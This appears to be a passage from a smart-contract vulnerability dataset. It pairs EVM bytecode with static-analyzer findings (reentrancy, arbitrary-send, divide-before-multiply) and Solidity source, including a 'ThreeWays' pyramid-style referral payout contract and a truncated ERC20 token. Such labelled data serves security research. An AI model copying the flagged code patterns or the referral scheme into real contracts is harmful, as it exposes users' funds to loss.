fffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a495750600f60179054906101000a900460ff165b15611aea5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a9957600080fd5b601e42611aa691906131e9565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611af530610783565b9050600f60159054906101000a900460ff16158015611b625750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b7a5750600f60169054906101000a900460ff165b15611ba257611b8881611e34565b60004790506000811115611ba057611b9f47611ccb565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c4b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c5557600090505b611c61848484846121f3565b50505050565b6000838311158290611caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca69190612f11565b60405180910390fd5b5060008385611cbe91906132ca565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d1b6002846121a990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d46573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d976002846121a990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611dc2573d6000803e3d6000fd5b5050565b6000600654821115611e0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0490612f53565b60405180910390fd5b6000611e17612220565b9050611e2c81846121a990919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e92577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611ec05781602001602082028036833780820191505090505b5090503081600081518110611efe577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fa057600080fd5b505afa158015611fb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fd89190612980565b81600181518110612012577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061207930600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120dd9594939291906130ce565b600060405180830381600087803b1580156120f757600080fd5b505af115801561210b573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561214157600090506121a3565b6000828461214f9190613270565b905082848261215e919061323f565b1461219e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219590612fd3565b60405180910390fd5b809150505b92915050565b60006121eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061224b565b905092915050565b80612201576122006122ae565b5b61220c8484846122df565b8061221a576122196124aa565b5b50505050565b600080600061222d6124bc565b9150915061224481836121a990919063ffffffff16565b9250505090565b60008083118290612292576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122899190612f11565b60405180910390fd5b50600083856122a1919061323f565b9050809150509392505050565b60006008541480156122c257506000600954145b156122cc576122dd565b600060088190555060006009819055505b565b6000806000806000806122f18761251e565b95509550955095509550955061234f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123e485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125cf90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124308161262d565b61243a84836126ea565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161249791906130b3565b60405180910390a3505050505050505050565b6002600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124f2683635c9adc5dea000006006546121a990919063ffffffff16565b82101561251157600654683635c9adc5dea0000093509350505061251a565b81819350935050505b9091565b600080600080600080600080600061253a8a600854600c612724565b925092509250600061254a612220565b9050600080600061255d8e8787876127ba565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125c783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c67565b905092915050565b60008082846125de91906131e9565b905083811015612623576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261a90612f93565b60405180910390fd5b8091505092915050565b6000612637612220565b9050600061264e828461212e90919063ffffffff16565b90506126a281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125cf90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126ff8260065461258590919063ffffffff16565b60068190555061271a816007546125cf90919063ffffffff16565b6007819055505050565b6000806000806127506064612742888a61212e90919063ffffffff16565b6121a990919063ffffffff16565b9050600061277a606461276c888b61212e90919063ffffffff16565b6121a990919063ffffffff16565b905060006127a382612795858c61258590919063ffffffff16565b61258590919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127d3858961212e90919063ffffffff16565b905060006127ea868961212e90919063ffffffff16565b90506000612801878961212e90919063ffffffff16565b9050600061282a8261281c858761258590919063ffffffff16565b61258590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061285661285184613168565b613143565b9050808382526020820190508285602086028201111561287557600080fd5b60005b858110156128a5578161288b88826128af565b845260208401935060208301925050600181019050612878565b5050509392505050565b6000813590506128be816137a6565b92915050565b6000815190506128d3816137a6565b92915050565b600082601f8301126128ea57600080fd5b81356128fa848260208601612843565b91505092915050565b600081359050612912816137bd565b92915050565b600081519050612927816137bd565b92915050565b60008135905061293c816137d4565b92915050565b600081519050612951816137d4565b92915050565b60006020828403121561296957600080fd5b6000612977848285016128af565b91505092915050565b60006020828403121561299257600080fd5b60006129a0848285016128c4565b91505092915050565b600080604083850312156129bc57600080fd5b60006129ca858286016128af565b92505060206129db858286016128af565b9150509250929050565b6000806000606084860312156129fa57600080fd5b6000612a08868287016128af565b9350506020612a19868287016128af565b9250506040612a2a8682870161292d565b9150509250925092565b60008060408385031215612a4757600080fd5b6000612a55858286016128af565b9250506020612a668582860161292d565b9150509250929050565b600060208284031215612a8257600080fd5b600082013567ffffffffffffffff811115612a9c57600080fd5b612aa8848285016128d9565b91505092915050565b600060208284031215612ac357600080fd5b6000612ad184828501612903565b91505092915050565b600060208284031215612aec57600080fd5b6000612afa84828501612918565b91505092915050565b600060208284031215612b1557600080fd5b6000612b238482850161292d565b91505092915050565b600080600060608486031215612b4157600080fd5b6000612b4f86828701612942565b9350506020612b6086828701612942565b9250506040612b7186828701612942565b9150509250925092565b6000612b878383612b93565b60208301905092915050565b612b9c816132fe565b82525050565b612bab816132fe565b82525050565b6000612bbc826131a4565b612bc681856131c7565b9350612bd183613194565b8060005b83811015612c02578151612be98882612b7b565b9750612bf4836131ba565b925050600181019050612bd5565b5085935050505092915050565b612c1881613310565b82525050565b612c2781613353565b82525050565b6000612c38826131af565b612c4281856131d8565b9350612c52818560208601613365565b612c5b8161349f565b840191505092915050565b6000612c736023836131d8565b9150612c7e826134b0565b604082019050919050565b6000612c96602a836131d8565b9150612ca1826134ff565b604082019050919050565b6000612cb96022836131d8565b9150612cc48261354e565b604082019050919050565b6000612cdc601b836131d8565b9150612ce78261359d565b602082019050919050565b6000612cff601d836131d8565b9150612d0a826135c6565b602082019050919050565b6000612d226021836131d8565b9150612d2d826135ef565b604082019050919050565b6000612d456020836131d8565b9150612d508261363e565b602082019050919050565b6000612d686029836131d8565b9150612d7382613667565b604082019050919050565b6000612d8b6025836131d8565b9150612d96826136b6565b604082019050919050565b6000612dae6024836131d8565b9150612db982613705565b604082019050919050565b6000612dd16017836131d8565b9150612ddc82613754565b602082019050919050565b6000612df46011836131d8565b9150612dff8261377d565b602082019050919050565b612e138161333c565b82525050565b612e2281613346565b82525050565b6000602082019050612e3d6000830184612ba2565b92915050565b6000604082019050612e586000830185612ba2565b612e656020830184612ba2565b9392505050565b6000604082019050612e816000830185612ba2565b612e8e6020830184612e0a565b9392505050565b600060c082019050612eaa6000830189612ba2565b612eb76020830188612e0a565b612ec46040830187612c1e565b612ed16060830186612c1e565b612ede6080830185612ba2565b612eeb60a0830184612e0a565b979650505050505050565b6000602082019050612f0b6000830184612c0f565b92915050565b60006020820190508181036000830152612f2b8184612c2d565b905092915050565b60006020820190508181036000830152612f4c81612c66565b9050919050565b60006020820190508181036000830152612f6c81612c89565b9050919050565b60006020820190508181036000830152612f8c81612cac565b9050919050565b60006020820190508181036000830152612fac81612ccf565b9050919050565b60006020820190508181036000830152612fcc81612cf2565b9050919050565b60006020820190508181036000830152612fec81612d15565b9050919050565b6000602082019050818103600083015261300c81612d38565b9050919050565b6000602082019050818103600083015261302c81612d5b565b9050919050565b6000602082019050818103600083015261304c81612d7e565b9050919050565b6000602082019050818103600083015261306c81612da1565b9050919050565b6000602082019050818103600083015261308c81612dc4565b9050919050565b600060208201905081810360008301526130ac81612de7565b9050919050565b60006020820190506130c86000830184612e0a565b92915050565b600060a0820190506130e36000830188612e0a565b6130f06020830187612c1e565b81810360408301526131028186612bb1565b90506131116060830185612ba2565b61311e6080830184612e0a565b9695505050505050565b600060208201905061313d6000830184612e19565b92915050565b600061314d61315e565b90506131598282613398565b919050565b6000604051905090565b600067ffffffffffffffff82111561318357613182613470565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131f48261333c565b91506131ff8361333c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561323457613233613412565b5b828201905092915050565b600061324a8261333c565b91506132558361333c565b92508261326557613264613441565b5b828204905092915050565b600061327b8261333c565b91506132868361333c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132bf576132be613412565b5b828202905092915050565b60006132d58261333c565b91506132e08361333c565b9250828210156132f3576132f2613412565b5b828203905092915050565b60006133098261331c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061335e8261333c565b9050919050565b60005b83811015613383578082015181840152602081019050613368565b83811115613392576000848401525b50505050565b6133a18261349f565b810181811067ffffffffffffffff821117156133c0576133bf613470565b5b80604052505050565b60006133d48261333c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561340757613406613412565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137af816132fe565b81146137ba57600080fd5b50565b6137c681613310565b81146137d157600080fd5b50565b6137dd8161333c565b81146137e857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208673adc1bf8167affdaecb9a18052e218bb58f0ef1d5d5cac76b08e1a8c7b11d64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,584
0xc0f6b744a8c952b1d9291cad2b949efe08a79aca
/** *Submitted for verification at Etherscan.io on 2020-08-25 */ /* * * ######## ## ## ######## ######## ######## ## ## ### ## ## ###### ## ## ## ## ######## * ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## * ## ## ## ## ## ## ## ## ## ## ## ## #### ## ## ## #### ## * ## ######### ######## ###### ###### ## ## ## ## ## ## ###### ### ## ## * ## ## ## ## ## ## ## ## ## ## ######### ## ## ## ## ## ## * ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ## * ## ## ## ## ## ######## ######## ### ### ## ## ## ###### ### ## ## ## ######## * * Hello * This is ThreeWays 1.0 * https://threeways.xyz * */ pragma solidity 0.5.16; // Owner Handler contract ownerShip // Auction Contract Owner and OwherShip change { //Global storage declaration address payable public ownerWallet; address payable public newOwner; //Event defined for ownership transfered event OwnershipTransferredEv(address indexed previousOwner, address indexed newOwner); //Sets owner only on first run constructor() public { //Set contract owner ownerWallet = msg.sender; } function transferOwnership(address payable _newOwner) public onlyOwner { newOwner = _newOwner; } //the reason for this flow is to protect owners from sending ownership to unintended address due to human error function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferredEv(ownerWallet, newOwner); ownerWallet = newOwner; newOwner = address(0); } //This will restrict function only for owner where attached modifier onlyOwner() { require(msg.sender == ownerWallet); _; } } contract threeWays is ownerShip { uint public defaultRefID = 1; //this ref ID will be used if user joins without any ref ID uint public constant maxDownLimit = 2; uint public constant levelLifeTime = 31536000; // = 365 days; uint public lastIDCount = 0; struct userInfo { bool joined; uint id; uint referrerID; uint originalReferrer; address[] referral; mapping(uint => uint) levelExpired; } mapping(uint => uint) public priceOfLevel; mapping (address => userInfo) public userInfos; mapping (uint => address) public userAddressByID; event regLevelEv(uint indexed _userID, address indexed _userWallet, uint indexed _referrerID, address _referrerWallet, uint _originalReferrer, uint _time); event levelBuyEv(address indexed _user, uint _level, uint _amount, uint _time); event paidForLevelEv(uint userID, address indexed _user, uint referralID, address indexed _referral, uint _level, uint _amount, uint _time); event lostForLevelEv(uint userID, address indexed _user, uint referralID, address indexed _referral, uint _level, uint _amount, uint _time); constructor() public { priceOfLevel[1] = 0.1 ether; priceOfLevel[2] = 0.2 ether; priceOfLevel[3] = 0.4 ether; priceOfLevel[4] = 0.8 ether; priceOfLevel[5] = 1.6 ether; priceOfLevel[6] = 3.2 ether; priceOfLevel[7] = 6.4 ether; priceOfLevel[8] = 12.8 ether; userInfo memory UserInfo; lastIDCount++; UserInfo = userInfo({ joined: true, id: lastIDCount, referrerID: 0, originalReferrer: 0, referral: new address[](0) }); userInfos[ownerWallet] = UserInfo; userAddressByID[lastIDCount] = ownerWallet; for(uint i = 1; i <= 8; i++) { userInfos[ownerWallet].levelExpired[i] = 99999999999; emit paidForLevelEv(lastIDCount, ownerWallet, 0, address(0), i, priceOfLevel[i], now); } emit regLevelEv(lastIDCount, msg.sender, 0, address(0), 0, now); } function () external payable { uint level; if(msg.value == priceOfLevel[1]) level = 1; else if(msg.value == priceOfLevel[2]) level = 2; else if(msg.value == priceOfLevel[3]) level = 3; else if(msg.value == priceOfLevel[4]) level = 4; else if(msg.value == priceOfLevel[5]) level = 5; else if(msg.value == priceOfLevel[6]) level = 6; else if(msg.value == priceOfLevel[7]) level = 7; else if(msg.value == priceOfLevel[8]) level = 8; else revert('Incorrect Value send'); if(userInfos[msg.sender].joined) buyLevel(msg.sender, level); else if(level == 1) { uint refId = 0; address referrer = bytesToAddress(msg.data); if(userInfos[referrer].joined) refId = userInfos[referrer].id; else revert('Incorrect referrer'); regUser(msg.sender, refId); } else revert('Please buy first level for 0.1 ETH'); } function regUser(address _user, uint _referrerID) public payable returns(bool) { if(!(_referrerID > 0 && _referrerID <= lastIDCount)) _referrerID = defaultRefID; uint originalReferrer = _referrerID; require(!userInfos[_user].joined, 'User exists'); if(msg.sender != ownerWallet){ require(msg.value == priceOfLevel[1], 'Incorrect Value'); require(msg.sender == _user, 'Invalid user'); } if(userInfos[userAddressByID[_referrerID]].referral.length >= maxDownLimit){ _referrerID = userInfos[findFreeReferrer(userAddressByID[_referrerID])].id; } userInfo memory UserInfo; lastIDCount++; UserInfo = userInfo({ joined: true, id: lastIDCount, referrerID: _referrerID, originalReferrer: originalReferrer, referral: new address[](0) }); userInfos[_user] = UserInfo; userAddressByID[lastIDCount] = _user; userInfos[_user].levelExpired[1] = now + levelLifeTime; userInfos[userAddressByID[_referrerID]].referral.push(_user); if(msg.sender != ownerWallet){ payForCycle(1, _user); //pay to uplines } emit regLevelEv(lastIDCount, _user, _referrerID, userAddressByID[_referrerID], originalReferrer, now); return true; } function buyLevel(address _user, uint _level) public payable { require(userInfos[_user].joined, 'User not exist'); require(_level > 0 && _level < 9, 'Incorrect level'); if(msg.sender != ownerWallet){ require(msg.value == priceOfLevel[_level], 'Incorrect Value'); require(msg.sender == _user, 'Invalid user'); } if(_level == 1) { userInfos[_user].levelExpired[1] += levelLifeTime; } else { for(uint l =_level - 1; l > 0; l--) require(userInfos[_user].levelExpired[l] >= now, 'Buy the previous level first'); if(userInfos[_user].levelExpired[_level] == 0) userInfos[_user].levelExpired[_level] = now + levelLifeTime; else userInfos[_user].levelExpired[_level] += levelLifeTime; } if(msg.sender != ownerWallet){ payForCycle(_level, _user); //pay to uplines. } emit levelBuyEv(_user, _level, msg.value, now); } function payForCycle(uint _level, address _user) internal { address referrer; address referrer1; address def = userAddressByID[defaultRefID]; uint256 price = priceOfLevel[_level] * 4500 / 10000; uint256 adminPart = price * 10000 / 45000; referrer = findValidUpline(_user, _level); referrer1 = findValidUpline(referrer, _level); if(!userInfos[referrer].joined) { address(uint160(def)).transfer(price); emit lostForLevelEv(userInfos[referrer].id, referrer, userInfos[_user].id, _user, _level, price, now); } else { address(uint160(referrer)).transfer(price); emit paidForLevelEv(userInfos[referrer].id, referrer, userInfos[_user].id, _user, _level, price, now); } if(!userInfos[referrer1].joined || !(userInfos[_user].levelExpired[_level] >= now ) ) { address(uint160(def)).transfer(price); emit lostForLevelEv(userInfos[referrer1].id, referrer1, userInfos[_user].id, _user, _level, price, now); } else { address(uint160(referrer1)).transfer(price); emit paidForLevelEv(userInfos[referrer1].id, referrer1, userInfos[_user].id, _user, _level, price, now); } ownerWallet.transfer(adminPart); } function findValidUpline(address _user, uint _level) internal view returns(address) { for(uint i=0;i<64;i++) { _user = userAddressByID[userInfos[_user].referrerID]; if(userInfos[_user].levelExpired[_level] >= now ) break; } if(!(userInfos[_user].levelExpired[_level] >= now )) _user = userAddressByID[defaultRefID]; return _user; } function findFreeReferrer(address _user) public view returns(address) { if(userInfos[_user].referral.length < maxDownLimit) return _user; address[] memory referrals = new address[](126); referrals[0] = userInfos[_user].referral[0]; referrals[1] = userInfos[_user].referral[1]; address freeReferrer; bool noFreeReferrer = true; for(uint i = 0; i < 126; i++) { if(userInfos[referrals[i]].referral.length == maxDownLimit) { if(i < 62) { referrals[(i+1)*2] = userInfos[referrals[i]].referral[0]; referrals[(i+1)*2+1] = userInfos[referrals[i]].referral[1]; } else { break; } } else { noFreeReferrer = false; freeReferrer = referrals[i]; break; } } require(!noFreeReferrer, 'No Free Referrer'); return freeReferrer; } function viewUserReferral(address _user) public view returns(address[] memory) { return userInfos[_user].referral; } function viewUserLevelExpired(address _user, uint _level) public view returns(uint) { return userInfos[_user].levelExpired[_level]; } function bytesToAddress(bytes memory bys) private pure returns (address addr) { assembly { addr := mload(add(bys, 20)) } } function changeDefaultRefID(uint newDefaultRefID) onlyOwner public returns(string memory){ //this ref ID will be assigned to user who joins without any referral ID. defaultRefID = newDefaultRefID; return("Default Ref ID updated successfully"); } function viewTimestampSinceJoined(address usr) public view returns(uint256[8] memory timeSinceJoined ) { if(userInfos[usr].joined) { for(uint256 i=0;i<8;i++) { uint256 t = userInfos[usr].levelExpired[i+1]; if(t>now) { timeSinceJoined[i] = (t-now); } } } return timeSinceJoined; } function ownerOnlyCreateUser(address[] memory _user ) public onlyOwner returns(bool) { require(_user.length <= 50, "invalid input"); for(uint i=0; i < _user.length; i++ ) { require(regUser(_user[i], 1), "registration fail"); } return true; } }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806379ba5097146100515780639335dcb71461005b578063d4ee1d90146100a5578063f2fde38b146100ef575b600080fd5b610059610133565b005b6100636102d0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100ad6102f5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101316004803603602081101561010557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061031b565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461018d57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7b9f4dbf19021732cc1236215fb8368569be3a9c57a729f6c306471afc35505160405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461037457600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fea265627a7a723158200b7a5748a51c8cda77f3481835f00e77292f07894ce73e745bff84c3470f6b4c64736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
8,585
0x8002161e98eaa706b9b3f114899fab5c5deab39f
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * 